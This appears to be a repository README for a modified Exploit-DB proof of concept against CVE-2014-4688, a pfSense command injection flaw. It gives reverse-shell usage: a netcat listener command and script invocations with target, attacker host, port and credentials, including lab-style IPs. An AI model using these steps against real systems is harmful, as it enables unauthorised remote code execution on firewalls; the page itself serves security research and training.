
Modified proof-of-concept exploit for CVE-2014-4688, a command injection vulnerability in pfSense status_rrd_graph_img.php, enabling authenticated remote code execution with SSL handling.
Modified Exploit-DB proof-of-concept for CVE-2014-4688 (pfSense status_rrd_graph_img.php command injection)
This repository contains a modified version of the original Exploit-DB proof-of-concept for CVE-2014-4688, affecting pfSense versions ≤ 2.1.3.
The vulnerability exists within the status_rrd_graph_img.php component and allows authenticated users to execute arbitrary system commands due to improper input sanitisation of the database parameter.
status_rrd_graph_img.phpAn authenticated user can inject arbitrary shell commands via crafted input supplied to the vulnerable endpoint.
Start a listener:
nc -lvnp <LPORT>
Proof of Concept:
python3 cve-2014-4688.py --rhost <TARGET_IP> --lhost <ATTACKER_IP> --lport <PORT> --username <USERNAME> --password <PASSWORD>
python3 cve-2014-4688.py --rhost 10.129.7.193 --lhost 10.10.15.12 --lport 443 --username Joebloggs --password Password
This repository is provided for authorised security research, education, and controlled testing purposes only. Unauthorised use against systems without explicit permission is illegal and unethical.